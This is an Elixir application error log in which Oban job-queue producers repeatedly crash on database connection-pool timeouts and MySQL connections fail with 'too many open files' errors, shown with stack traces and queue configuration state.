[Sun Sep  6 00:49:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:49:30.246893Z], limit: 20, uuid: "c42f0212-02b7-4c8b-a08b-ec4b72f3c1f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:30.246900Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69592>, refresh_timer: #Reference<0.2525715032.1068498948.81436>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:49:30.247345Z], limit: 10, uuid: "13f59c14-9ad4-430c-ad87-bc9a648748c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:30.247352Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69591>, refresh_timer: #Reference<0.2525715032.1099431938.69587>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:49:30.246734Z], limit: 50, uuid: "31e64f58-babc-4176-bd95-d55f584de327", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:30.246740Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.56891>, refresh_timer: #Reference<0.2525715032.1077673987.56863>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:49:30.246937Z], limit: 3, uuid: "ec6bd48c-357f-4081-8021-7ab13ca32945", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:30.246942Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.81461>, refresh_timer: #Reference<0.2525715032.1068498948.81440>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:46.655000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:49.772000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:50.458000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:51.334000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:53.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:49:42.240702Z], limit: 50, uuid: "606272e0-338a-4d61-b38e-7864ec6e7fde", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:42.240707Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.224283>, refresh_timer: #Reference<0.2525715032.1121189889.224260>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:49:42.239200Z], limit: 10, uuid: "5c1818b2-5b06-471b-a0fa-2528d441fb01", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:42.239205Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.224282>, refresh_timer: #Reference<0.2525715032.1121189889.224243>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:49:42.237828Z], limit: 5, uuid: "ff92e18c-d2a4-4975-9fa4-b92c77306804", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:42.237835Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.224234>, refresh_timer: #Reference<0.2525715032.1121189889.224227>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:49:42.238871Z], limit: 5, uuid: "56a35080-a77f-4d4a-a9ca-a043c8e2283a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:42.238877Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.224235>, refresh_timer: #Reference<0.2525715032.1121189889.224228>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:49:42.239044Z], limit: 20, uuid: "d62380dd-3baf-4e61-b7a4-32d4eb5ff324", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:42.239049Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, 